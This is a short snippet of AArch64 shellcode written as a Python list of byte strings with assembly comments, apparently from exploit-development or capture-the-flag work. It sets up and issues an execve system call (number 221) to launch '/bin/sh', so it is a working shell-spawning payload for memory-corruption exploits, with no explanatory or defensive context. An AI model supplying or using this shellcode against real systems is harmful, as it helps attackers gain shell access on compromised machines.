Assembly - Little Endian
code = [
b"\xc0\x53\x00\x91", # add x0, x30, #20
b"\xe1\x03\x1f\xaa", # mov x1, xzr
b"\xe2\x03\x1f\xaa", # mov x2, xzr
b"\xa8\x1b\x80\xd2", # mov x8, #221
b"\x01\x00\x00\xd4", # svc 0
b"\x2f\x62\x69\x6e\x2f\x73\x68", # .ascii "/bin/sh"
]
raw = b"".join(code)